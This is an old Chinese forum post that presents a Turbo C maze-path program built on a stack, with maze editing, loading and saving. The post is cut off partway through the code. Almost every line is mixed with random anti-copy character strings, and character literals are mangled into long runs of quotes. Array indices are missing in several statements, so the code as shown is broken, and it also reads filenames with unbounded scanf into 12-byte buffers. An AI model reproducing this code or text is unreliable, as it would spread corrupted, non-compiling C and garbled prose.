QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7580|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>' ~! M  _" {; a2 ?
< align=left>程序目的:  o2 j: i' i8 H; @6 v: A
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并$ M' z; ^  B% l2 `( m
显示在屏幕上。
& P/ ^2 J6 U' F6 o; g% t; R程序实现:) B. D7 v2 [6 ~
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的, {# q9 w! x) R( V5 _& G2 O$ a
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
1 j0 C$ @6 J) s9 I0 {, L入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
6 ^" W) n) q5 V$ M2 M8 S时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
4 D  m  @- X, b% V2 t否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
) s' p' r3 r. k# ?4 z/ T& {用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以; V8 {. J7 q* B- \9 Y5 E( m$ C4 z- o2 h; W
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,! k) {5 ^1 r' D+ C% U( p
找到路径时,屏幕下方会出现Path found,否则出现Path not found。% Y7 }: R7 g) r
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
3 }' u: |& Z8 c9 |/ z" f$ o/ W不可以在VC上编译。$ k7 ]9 p, Z+ m" f, u
下载DOS版和windows版的迷宫游戏全部代码+ p4 A' x- e+ J# p! _2 V- q) q
用户名:migong
# R) @" N. s' I7 n. i4 U----------------------------------------------------------------------------------( J; t& R, B1 t8 |( E' L
/*
2 ^6 @& O5 o9 @* yMazePath Demo BY Turbo C 2.0- k. V5 y& o5 G# Z
Copyright(c) RoverUnion. All right reserved.5 ~2 P+ C- n- K) ~+ J
Filename: Maze.c2 V  N+ w2 ~6 \* Q- f
Author Dongchengyu.& X8 l4 g! V2 Y9 u
Ver 1.10
( |; u/ _& `. w9 [9 ^*/
0 U7 L1 @1 m" |$ ~$ Q! \% u#include &lt;stdio.h&gt;( Q* C) f1 X, ]
#include &lt;stdlib.h&gt;& N2 }& W# B! G5 _! }6 {, o: ~0 I
#include &lt;malloc.h&gt;1 m+ k* E. D$ E# Y6 N5 s/ e8 ^! {# C7 l
#include &lt;conio.h&gt;
* }6 Y. {& N5 N  m" Y  [#include &lt;dos.h&gt;
' b* P( f% M4 t( H: R6 C8 }+ d8 t$ L#define OK 1
; y0 B. l2 y6 T) o0 H#define ERROR 0% k9 \3 W1 ?1 I% i& `4 L3 Q
#define TRUE 1# M8 Z; d1 p# y
#define FALSE 0
& ?/ {! L! f+ g3 a8 [' e#define F9 0x43
; f# Q) X8 t+ X2 J( q1 t4 Q#define Esc 0x1b
  C2 z# L9 l& {6 I  r#define Del 0x53. t8 z5 D. e' v# n" M( Q
#define Home 0x47$ s2 P# N6 J+ ]! O! [6 I: R" [1 Q
#define End 0x4f
3 K( S+ Q1 p! R6 L' a. D* P/ ?; f) ?#define Space 0x20
% f. F9 h8 f; Y! D3 A; @#define Up 0x48
0 H' Y$ I' h( E#define Down 0x50" G  b/ z+ k. p0 t0 Y; `
#define Left 0x4b
$ I- Z; C1 o. C/ s% b& O#define Right 0x4d2 ?/ A9 Z0 t, {
#define Enter 0x0d
0 X1 k* p9 G+ s. _( Z' \% {$ E#define F2 0x3c
/ [; Q8 j9 {- Z) V& D0 d+ Y#define F3 0x3d
" N; ]( [/ v- n$ j1 U' g- M#define STACK_INIT_SIZE 200
; y8 B' ?% W. Z9 O" C! P#define STACKINCREMENT 10
3 L8 |/ }2 T/ \' z6 g8 P7 W2 ~typedef int Boolean;
$ _( P; c' X2 ~, W* o5 D/ stypedef int Status;' w/ U# _. G+ l  e) d
typedef struct {
/ O2 L8 I" _) \7 p* mint x;
0 m/ Y1 m& L) W( {0 I0 Sint y;
; d6 k0 b) J) r3 J" X} PosType;
+ ]1 X2 |# Q+ u  qtypedef struct {( g  a5 D% Z4 m/ p. P9 V
int ord;
  _+ l! c* h* c9 m. W% LPosType seat;& b# f& h: W; _5 K( k
int di;
. }. t& j# u7 Y2 a2 N" U8 F# b} SElemType;
# d$ U' f: F- [' y9 Y9 a# a$ \typedef struct {
5 [/ t' x2 b( J' H) O8 p" X5 Yint td;/ Z8 ?7 l0 i7 w4 |. E# m
int foot;: x  h6 n7 J' l% M3 U) s0 C& R
int mark;
+ ]- Z# T8 s) d  Q' J4 \} MazeType;
5 u, J, F7 P1 v7 W3 i3 l; Qtypedef struct {
+ p5 g6 a- N' \( H2 ASElemType *base;
; _% @" s, f/ \. OSElemType *top;
% l# b. l+ k  `int stacksize;
+ M0 a+ p  i: j} Stack;
& x2 L: e/ O, a7 o: n' s4 b/ Tint Maze[20][30];
' s3 k( S0 @/ B' g) i$ S: v6 v9 uMazeType maze[20][30];
+ r, N% a, \2 `0 ]# TPosType StartPlace;
7 |7 F5 ^( K. p  RPosType EndPlace;
2 o& E4 l  l$ k5 D: Zint count;' r/ N. x  Y1 {% X: W6 o, P# Y% F
int m,n;
. g+ @% I# o0 l: ?, k: IBoolean b_start=FALSE,b_end=FALSE;
1 d) I4 E' C8 @: i$ J9 T* evoid CreatMaze(void);
1 J: [) n! W: z7 ?% i8 c7 yStatus SaveMaze(char *filename);
- S7 q+ P0 T/ C0 \/ b3 o+ S/ r% {Status LoadMaze(char *filename);
' E& r, E! R/ o; Y- J: Yvoid Error(char *message);+ h5 a% v: Z( b/ o, F5 |7 {
Status InitStack(Stack *s);
6 {. c3 F# W$ t7 N1 ?: W! W) x9 Q1 iStatus DestroyStack(Stack *s);2 f" U- r: C& Y6 V1 k
Status ClearStack(Stack *s);% J9 n2 f  H  b4 }1 w! X
Boolean StackEmpty(Stack *s);6 y7 Y# {1 n2 b7 R% L" g! X, h: I
int StackLength(Stack *s);
$ l1 x, u  h$ B: q: j2 n& qStatus Push(Stack *s,SElemType e);
; \: i4 ?' Z7 l$ V8 h" X# aSElemType Pop(Stack *s,SElemType e);# d/ E% S2 u2 D! e  d: M3 M5 S
Status GetTop(Stack *s,SElemType *e);
/ M! w* w+ A  `# U5 Y! nStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
4 M7 A, _! s7 \+ X. S# |, N* G) ABoolean Pass(PosType curpos);
2 d  z. k1 C/ C) L7 }# wvoid MarkPrint(PosType seat);0 F7 _, K4 U* Z& S: z
void FootPrint(PosType curpos);0 }/ q8 D" [  r! E
PosType NextPos(PosType seat,int di);: c6 [6 j4 q4 ^6 W( a, Z
Status MazePath(PosType start,PosType end);
$ w- x" s. j2 mvoid CreatMaze(void)
1 i8 H# _; R. M5 ^. w. E  Z/* Form the maze. */
  u/ |/ a) m" `' |: i7 P/ P{' c0 n1 |& m1 z5 X
void Error(char *message);" c' b" J: E9 g, X! U) {
Status SaveMaze(char *filename);' ]1 @, i# a% z9 v6 c
Status LoadMaze(char *filename);
$ j4 @8 F7 j- U/ r7 k/ S! Mint i,j;
% P1 G, M! u6 G  F. q+ M. xint x,y;5 ~0 Z; }  H2 ~4 i, s! k
char c;7 a& N. G! Z* e( b
char savename[12],loadname[12];% \* q0 N* {- X/ I0 t2 e, V( N/ e
Boolean flag=FALSE,load=FALSE;2 `; f5 \" c5 o: G: o* W
clrscr();
8 I( j" A/ x$ C- d6 G% Vprintf("Menu:\n\n");
& q. |7 z7 [1 r( P1 yprintf("1.Load Mazefile*.dd)\n\n");& i! e! ]9 z. i+ Z
printf("2.Input Maze:\n\n");  u. A) f$ w: S# x1 t
printf("Input your choice: ");
2 T- E& W3 D* Y0 r! b2 N6 gdo
# l6 I' [! q4 w% S( J; X$ N) u( D# z{" J# Q7 d  F! ^8 L: Y+ b, s* D
c=getch();$ g/ K7 |8 ~9 B' Y) y
switch(c)
! b. j" ~: B7 z' Y2 ?( y{
- m; I. |9 g. ~. v# u9 R, Xcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;; S1 W9 V/ m- S& n, a% \
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
% }: g( X) K' Fcase Esc: sleep(1); exit(1);) R6 ?; n0 ~9 N6 h" u1 q
default: break;
9 C# S: ^* y" P0 _! g3 H. A' x}
' u3 C+ @. J# A3 e6 I! d( H}
5 r  Q! l  q; X; Z& Fwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
  U& C4 L9 h+ Kif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
* r! O+ O/ X) \3 t{1 I$ p! N; B- Z; n
printf("\n\nLoadName: ");
# o/ k( t4 S0 H) e/ v1 B$ gscanf("%s",loadname);
7 |4 T( T5 w/ E7 k4 m. r* B& n5 Wif(LoadMaze(loadname))
. y+ w# J1 I% O+ n6 V6 v/ O- @8 {3 C{9 t1 I6 v$ ]3 g( l
sleep(1); load=TRUE;
: o9 v& L$ a' A/ L3 j0 W}" E- D' ?* u" |; e, s8 L  e
else { gotoxy(1,9); printf("Load fail! "); }
6 c! H* b$ z9 D% x}  I/ v3 {  Q6 S, G! [: \" f: r
if(!load)8 N3 W: z3 T/ _2 Z& P
{& A3 L* F; j. e& K1 L0 |
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");- @7 J' }' t% ^$ [
printf("\nInput Length :\n");8 B8 O2 Z3 C4 G0 Q
scanf("%d",&amp;m);
' b6 A- Q3 Z3 ?; f* q" _1 Zprintf("\nInput Width :\n");; o+ y' v2 P+ g- [& ~, N
scanf("%d",&amp;n);+ W5 m$ Y! s. o  }; n) |6 I9 I
if(m&lt;4||n&lt;4) Error("Input");
, ]4 f! s8 S  H! o7 e0 S! Vif(m&gt;30||n&gt;20) Error("Maze too large");
* h3 j+ c" G7 Kfor(i=0;i&lt;30;i++)) A5 c2 A6 i% O- n
for(j=0;j&lt;20;j++)+ B6 T. _2 \7 V% Q( ]' ?2 x
Maze[j]=2;# W7 E+ T9 _; g( K+ F, A
StartPlace.x=0;
: ~3 E1 [% B: P! q& F8 P$ aStartPlace.y=0;
6 m- x3 A$ S- b2 K3 \, B1 ?$ ^EndPlace.x=0;5 }5 u  M& f& l0 {4 d
EndPlace.y=0;
- B# y" G- z4 t$ o4 ~clrscr();; L' u1 c' j2 X6 _8 B+ t
printf("\n");- @$ F9 s5 X! Q1 N( V7 B
for(i=1;i&lt;=n;i++)" \0 u5 y2 y: s, ?
{% S2 _* z/ c3 U. `# P
for(j=1;j&lt;=m;j++)# i- ^# _& U& D3 z, t- @
{
1 g7 ?6 V$ a# f, J0 m9 bprintf(" #");
+ K$ N  P9 R, UMaze[i-1][j-1]=0;- F6 k$ z  R6 L  R8 J2 V& o9 f% J  B
}, A) d4 J8 ~( Z4 t1 B8 p7 i
printf("\n");
( W" O/ M$ V9 D; X, v" p0 C$ B9 z% d}& K. Y) W$ h0 k* s* x
}, R' M1 }* c5 v$ ?$ W
gotoxy(65,5);# {% Y9 M0 Q% O: e2 w
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");" ^8 Y3 G; ~; c! t& V
gotoxy(65,7);9 M2 v8 E5 H( j( G8 t
printf("Start:Home");
1 }! z: G2 Q- Zgotoxy(65,9);% Y% h- v/ D7 S
printf("End:End");
& D2 o, X% u  _/ T# Ygotoxy(65,11);' n  `! y1 G5 R8 e( G( T/ H4 j
printf("Delete Wallel");2 F3 ]! r" y! m3 u
gotoxy(65,13);
% A7 B# W, E" L; j; uprintf("Enter Wall:Enter");' J# v  h, O. j" K
gotoxy(65,15);) Q9 n) j- u( ?+ @
printf("Save Maze:F2");% J0 T7 t, u& u
gotoxy(65,17);
! I+ P- z7 ^3 t2 Jprintf("Complete:F9");
/ e7 n( E" Z4 y: g! Y. Q; sgotoxy(65,19);( U  t4 J! N" Q  z( n: r$ [* }
printf("Exit:Esc");3 r3 w* ^* P5 v5 `: g6 H* ?5 r9 D- i
gotoxy(4,3);- [4 L; S" V' i2 U6 f
x=4;y=3;5 c! v% c) p; [! G
do
7 \7 }4 G+ V) E: i! |5 @- e{
9 h9 G$ |8 ]! }7 \c=getch();1 e6 x3 D: `3 Y( {5 k- h# E' C1 L
switch(c)
" ]( k8 i' h  b6 m, A$ V* K{& X1 ~. f2 G: b0 u: d
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
  i5 r- c0 @. L3 m3 E8 A" R/ {5 wbreak;; J3 N6 M* M# O5 |, p1 Z
case Down: if(y&lt;n) { y++; gotoxy(x,y); }5 \4 z7 R8 d! _" j" ?: X
break;
" d" A/ v  x' ^$ r" H8 F2 Lcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
- e5 e. [( y1 S+ Y$ c* wbreak;; x* \" y  O4 W' ]
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
" H+ ?/ z9 B8 ?9 j! W8 Ibreak;
; F% B7 }& ~# L9 z$ D" F9 K$ lcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
: }  ?2 G* u* n. c* B1 ]. iif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;7 Q# @- k4 X/ u2 t+ m
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
' F" z1 y, [9 c# |! Ebreak;$ u7 \2 Z9 g7 @
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
3 V% B$ f7 `& I8 c' Mif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
. H+ k8 C: h6 K+ K. o' V( mputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
' v8 r, i3 T4 [1 L5 ?break;
0 J( }1 T  M+ c- S$ L% C1 Jcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
$ [4 @8 P! a2 e& R( n1 E- c{
8 F' h( @" }, J/ l2 Q% MStartPlace.x=x/2-1;
2 P, y3 i; C. f3 O+ g2 G# s0 RStartPlace.y=y-2;( ]" q/ I( H2 K% ]3 M4 H- v* P# i
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
# d3 G: d& _- Mgotoxy(x,y);
9 c* {. c% I8 R( M% tb_start=TRUE;
  z2 H$ H8 u7 D, n6 t5 V4 R; X}' C7 q3 M3 m5 s# k; c# x+ e
break;
* o) X+ A4 s- ^case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
7 ^! |' m. U( s$ ~% s# S4 P$ ~{7 _! O8 r: P7 s6 |  X% E
EndPlace.x=x/2-1;
6 ]" o- L. O, L4 j& @# R" {0 rEndPlace.y=y-2;1 ^8 S  P% B* d8 V+ |4 `5 T4 d
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');* E6 F  N; w5 ^3 J0 J$ z( V  T* H2 {; v
gotoxy(x,y);
# U3 w$ R( j7 }2 m' qb_end=TRUE;9 W0 C' U- S; W+ i9 q) _
}1 Y" E' S% o3 s, h
break;6 n  Z5 G7 w1 Y5 u3 _( J
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
$ \9 g  @1 _/ R3 X0 Pcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 C+ T0 O! `7 R8 Lcase F2: gotoxy(2,22);
3 W- G2 Q4 o+ Dprintf("Savename:");6 |. x" O" ]/ o3 e0 d; f( x  J- k
scanf("%s",savename);
9 X- h2 M. ?; T  ?4 G" {8 ]gotoxy(2,22);. d0 z8 J- q+ E. H. b
if(SaveMaze(savename)) printf("Save OK! ");# r0 A$ A5 ^, j- W
else printf("Save fail! ");" h8 ]2 m# l" |0 o/ r6 Q. d
sleep(1);
  @  _! g. F% k* e* bgotoxy(2,22);: T6 `7 ~6 a# E1 N1 `" c
printf(" ");
8 _2 S. C" k( Dgotoxy(x,y);9 y  M$ P& m  F% X+ t
break;( _; `/ _9 L- b% u8 S2 R
default: break;
9 R7 O2 n' N) U9 }1 a$ L7 S}8 T: ]$ ^" e' h/ A% }' n. E
}
3 M7 T" k9 `* t8 {" gwhile(!flag);
) r8 p; r: c& n" f0 K0 y; t6 G  u" hfor(i=0;i&lt;30;i++)
/ d9 h, {' B, B( J& M" T* H% h' Xfor(j=0;j&lt;20;j++)- E0 m+ w4 w' r; i* ~
{
! J& n0 {6 N% F( L& D! nmaze[j].td=Maze[j];9 l# }: P& N" m" R
maze[j].mark=0;
" L- G& [% e3 ]7 W$ K3 Vmaze[j].foot=0;. a5 k; V5 |' v) J
}5 S4 I! }! S" z
}; g% a) q$ Q5 a% `
Status LoadMaze(char *file)+ D1 s2 o. X3 i% {; \4 ^+ {0 ~) m, E1 Z8 ^
/* The maze has been loaded. */: G7 d$ J1 s3 q# [8 Q! h
{
8 M2 ~, R' g" m! `FILE *fp;$ z5 \, E1 p- F# |% R. |: U
char *buffer;, k7 o1 {* i7 l! E! q# w/ N
char ch;
  ^/ e2 k9 Q; x- K; l9 z$ ~int i=0,j,k;
: u, Z- W% |3 t6 `& |7 P" |Boolean len=FALSE,wid=FALSE;, H& [5 k" n# M7 W+ \" S- D4 V' V# H
if((fp=fopen(file,"r"))==NULL)2 R! [, P9 y+ U
return ERROR;6 Z! J. J# N1 O: d- C
buffer=(char *)malloc(600*sizeof(char));' m- H7 ?1 J0 t6 ~3 [$ z/ [
ch=fgetc(fp);6 C, v/ @! w; i" d" b2 w
while(ch!=EOF)
% h4 J3 L# K4 g6 d8 B# c! e" v{
/ _; X( J% z' P# p3 B0 Abuffer=ch;0 i5 q9 ^2 v% N5 m/ A+ z2 a6 a
i++;$ O" g, Y# R. i/ A
ch=fgetc(fp);( v3 d" U6 l8 f
}
* r* k, j' @$ @) q/ c; wm=30;n=20;
0 [3 ~$ B9 N! [6 Z( B+ T8 ]for(i=0;i&lt;600;i++)2 i3 w4 f% H3 k
{2 D4 G0 Y2 n' Z5 I$ ?% I4 h
j=i/30; k=i%30;
" O; e- h: Q# Fif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
  Q0 l* i# k9 p" X+ H$ i, `& r$ u! g! Aif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }7 [" p! F! L( d# ~  r$ _( @- M
switch(buffer)6 y: x6 d, j. |/ N  V- p$ o9 v
{
5 C2 Q/ p  E1 K. @case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;( c$ j5 g. X8 J/ N6 Z
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;$ C2 p# D* ^6 G- d, j
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
9 q! L. J0 ~! X( d2 h1 `0 ~case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;# g# Y4 `$ j. [; D1 Q1 Y) [1 O8 \% k
StartPlace.x=k;
/ x/ J/ n+ [) l; @* ]' x5 ^8 w- Y, \StartPlace.y=j;
5 @1 V5 ^4 f& N3 y/ K3 J6 Z" Cb_start=TRUE;
6 _: ?: }) G9 qbreak;9 t- ~! f. s4 [, O1 M8 @2 I+ f
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# c3 ^" f' e0 b& S" k# ^* PEndPlace.x=k;
  f- f- u' y* \" f" M9 w2 }0 GEndPlace.y=j;6 E: J" m* ^" ?) H* w# T: F: `; \; @
b_end=TRUE;1 e  a" j. G# ~+ J: x
break;; Y- J+ W2 @6 [) d" |/ Z
default : break;1 u" I4 w' z6 z1 X2 v; ~
}, m2 r& P* o3 J. b7 v. i
}
7 H' V# ^: Y3 \fclose(fp);4 f* E' y' @7 _  ]9 F" l
clrscr();
+ f1 h, p3 U" b: C& `/ lfor(i=0;i&lt;30;i++)
5 g- H" }1 n1 Qfor(j=0;j&lt;20;j++)" X% b" k! o! f: E$ Y- e. Q* Q
{. @; V6 U2 X1 U6 F9 n- E7 S! ?- u
maze[j].td=Maze[j];  \2 _0 l# \/ M- Z+ p* q4 f; T
maze[j].foot=0;
$ ~& N, E! z. O, d6 fmaze[j].mark=0;
7 i+ s- }  y2 cif(Maze[j]==0)' R- @7 l6 @3 c$ t! x
{
  N9 f+ t) p7 e. P; |gotoxy(2*i+2,j+2);
: e5 j- e1 H" {* I1 r- nputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
2 W/ k  P- d7 y  r7 \}- i* f0 Z2 \; G
}
0 X; w2 ~- H1 o+ D2 [) Xgotoxy(2*StartPlace.x+2,StartPlace.y+2);' K' S4 y. @1 [" }2 z# r
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');. b. u; z, q! s; ^7 G
gotoxy(2*EndPlace.x+2,EndPlace.y+2);  s" F  s/ K% I( P
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
0 C8 M1 ?: `3 |+ {1 nreturn OK;
% p" k9 x9 K; ]2 _3 Q9 [+ e}
' q3 ^- X" c% DStatus SaveMaze(char *filename)
1 v# q0 u/ Y5 q. l( s( f/* The maze has been saved. */9 W; n8 E# N$ V) p
{: Y# X, L' q0 L, @  {& V( u  h& a
FILE *fp;6 `0 R% P, H, e6 c8 Y* v. g2 Q
char *buffer;+ F6 g& r. M* K* ^$ n
int i,j,k;
$ [" s3 ]* r+ Z  a6 G8 D. p/ }fp=fopen(filename,"wb");
( V7 y; U" x1 W/ J* M$ kbuffer=(char *)malloc(600*sizeof(char));
1 f2 `/ d6 n5 z: U+ Dfor(i=0;i&lt;600;i++)2 z6 p/ |+ W9 ]  o, m
{+ o% S. F3 ^$ w! ?6 s/ a
j=i/30; k=i%30;4 b1 X/ K* K" Q- B* p2 D- B( d0 H
switch(Maze[j][k])- T; g6 |$ p, ?! X+ U: _
{
' v! |9 `6 Q3 p% ucase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;) E9 d5 W7 @: l6 X8 z/ {: q. e
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
2 o# b5 J2 X  B# u# Lcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" _  o7 B( m, {/ D% G( C5 o6 Ndefault : Error("Write"); break;
$ p: m) r# u, f% ~& `}
0 t0 l+ B$ z( H/ _% Eif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
3 O& M" E& r0 }* S$ V% ]) gif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';0 M7 d3 ]7 X, @& c
}
9 C) A$ e& s; R7 b6 ^fwrite(buffer,600,1,fp);4 r$ R! F* E) R. L: p- a" R
free(buffer);
8 G/ @" q6 F* ]' p) t8 Ufclose(fp);
; n: _; |4 U% Hreturn OK;
4 V6 L! n4 Q+ `/ m' o}0 A. h" _( D# o8 a% y
void Error(char *message)
1 e& E+ G/ f6 W! p{0 I" y" A5 ]  \" r$ c* B
clrscr();
5 r0 q( `* M8 W! Q! z' G# x. {fprintf(stderr,"Error:%s\n",message);4 @9 z* r) D+ x- W: z
exit(1);
1 w- t( P. X5 B; ]6 w5 C" h} /* Error */2 O8 j+ f$ C7 M6 h8 i' J$ U
9 h8 o/ M2 a4 ^" h5 D$ R* t& C  q
Status InitStack(Stack *s)' Q1 \( C4 @! @" \3 f9 ~& g) A
/* The stack s has been created and is initialized to be empty. */
# X" m* d1 Z: d% x, {{* |6 G& O: i6 H$ Z7 K$ c- o3 L
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));6 I8 V; G  \( k; X5 V6 L1 Q
if(!s-&gt;base) Error("Overflow");
' x& j& H: @! b3 cs-&gt;top=s-&gt;base;; b3 b) ~8 `% h  N* w! u
s-&gt;stacksize=STACK_INIT_SIZE;% s$ i: Z4 m8 ^
return OK;7 r" H0 t: c, R# s" }4 }
} /* InitStack */
3 \+ f2 m' e( J! RStatus DestroyStack(Stack *s)" r& J9 U  J4 y
/* The stack s has been destroyed. */
9 L6 O, K3 R& I{
* H' w" k' H! `# vs-&gt;top=NULL;
* e( V3 k* r, }8 vs-&gt;stacksize=0;' M6 Z7 X7 q7 ]: U9 f" n
free(s-&gt;base);
4 r& Z5 G3 g& E1 d9 e$ Xs-&gt;base=NULL;$ z( m! E- _2 h) f
return OK;
  `' Q; x) ^: d: J} /* DestroyStack */
4 H5 M, o$ r3 P$ J! nStatus ClearStack(Stack *s)- N! _# q3 X6 z. j
/* The stack has been clear to be maximum. */, l- a# a+ J  V- M2 q
{
+ p9 q$ G) u: v/ L' D9 fs-&gt;top=s-&gt;base;; H+ Q7 ?& w/ u5 Z
s-&gt;stacksize=STACK_INIT_SIZE;1 J1 T* x0 a( o' f0 F* a& l
return OK;
8 |; U5 ^% f4 T3 q% I9 U1 l4 t} /* ClearStack */
  h. A1 Y* Z( T# C7 _- @% R) fBoolean StackEmpty(Stack *s)0 C5 N/ w! z* \( J" G3 U0 t/ r
/* Check if the stack s is empty. */
+ M( V$ K4 d6 G% H5 m7 O{
/ K# q  c% {. Z" y5 n  Zif(s-&gt;top==s-&gt;base) return TRUE;
7 R# [8 ?( q+ B) h! P- y& telse return FALSE;
/ x7 o( a) }$ r$ _$ i( ]2 h} /* StackEmpty */
* t7 i- c5 I8 z$ d' F/ U) Xint StackLength(Stack *s)
: M* i0 m$ Z, M- S/ a' A$ g1 Y/* Gain the length of the stack s. */; s1 Z. r# \' C; V- r8 ^
{/ c3 }7 a9 @- c* e. g
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);+ c. ]7 }4 S1 v, E
else return 0;
- F) h6 i: e) p9 J} /* StackLength */# `* \& v, X4 B6 `) o
Status Push(Stack *s,SElemType e)
5 e; _0 `' |* K# {' R+ d( v+ v1 M/* The element e has been pushed into the stack s. */& l, M( o- i7 _5 g
{- P# h' @# F( }
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)2 h7 V4 x. H* L% k
{# ~, X% T! B7 U1 {. b
s-&gt;base=(SElemType *)realloc(s-&gt;base,
: K" \% @9 N/ u7 I" Q, U(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
% H7 v1 y' _6 M0 o4 ^; Z  oif(!s-&gt;base) Error("Overflow");# C( \/ P. t. w' g, P
s-&gt;top=s-&gt;base+s-&gt;stacksize;
3 o) Z+ e4 w, p) T6 Ms-&gt;stacksize+=STACKINCREMENT;
6 S9 M, N; P2 k. A4 X}! ^1 A* Y5 ~! Y6 U" g
*s-&gt;top++=e;; }  ?2 e" O* W; X# Z: S
return OK;# C5 L/ B2 o' o8 g
} /* Push */4 [( _7 ?, Q' C9 y
SElemType Pop(Stack *s,SElemType e)
4 C0 Q/ s+ q7 T& v4 o, r/* The element e has been removed from the stack s. */  k% b& ~, Z9 I8 c; ^7 G$ X8 f
{/ F& R, w+ g  l2 R
if(s-&gt;top==s-&gt;base) Error("op");; S5 j2 c: v0 p5 j
e=*--s-&gt;top;
! L2 l4 e3 t1 H" M) C8 Xreturn e;; ]& R9 W/ f( I/ e0 g" H$ B
} /* Pop */
# T" v' i8 s7 ?Status GetTop(Stack *s,SElemType *e)+ Z1 W% M/ f4 T9 f: i7 v
/* The element e has got to the top of the stack s.*/
$ c: S# j2 x' Y. M{) T, v4 e# e% [  K1 \$ t4 Q9 P
if(s-&gt;top==s-&gt;base) Error("GetTop");
: K8 b& m0 a8 F$ U8 D*e=*(s-&gt;top-1);. ]: H  [2 ?$ N: b% f
return OK;5 \' g1 U! a; b7 i7 J3 Q
} /* GetTop */
. l9 w* s" g- R9 D* v0 v/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */' u& Y( L- I) q3 Z+ j) Z2 L
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
4 v" n! B) H9 v! N+ L1 Q{
8 M1 Y9 s+ l. E* fSElemType p;
. s7 n- }7 `* D, }9 d  Cint result;3 U0 o) W: e/ z( [" N& x+ A
if(s-&gt;top==s-&gt;base) return ERROR;7 Z, k: B0 {/ t0 ~* y
p=s-&gt;base;
  C, ~' X$ I0 D( wwhile(!(p==s-&gt;top))  k0 ^. j0 e6 c( s% `( f
{
% I# A7 I; H2 V8 z4 w! |2 Y* Fresult=(*visit)(p);
8 d  U* o; f& n% [: j- f& Ap++;7 l/ f, P. o( u
}
6 ^% G, G( E+ G9 m/ _8 D" lreturn OK;
- G1 d/ Q" w. A" E  l7 a2 m3 A} */1 y- P# _3 z" ]: I0 @
Boolean Pass(PosType curpos)
. S( q% y" D1 p0 f9 }5 _/* Check if the current position can be passed. */
* U! ^# h! A# v% _{+ y+ W+ _' F6 ^3 N' l
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
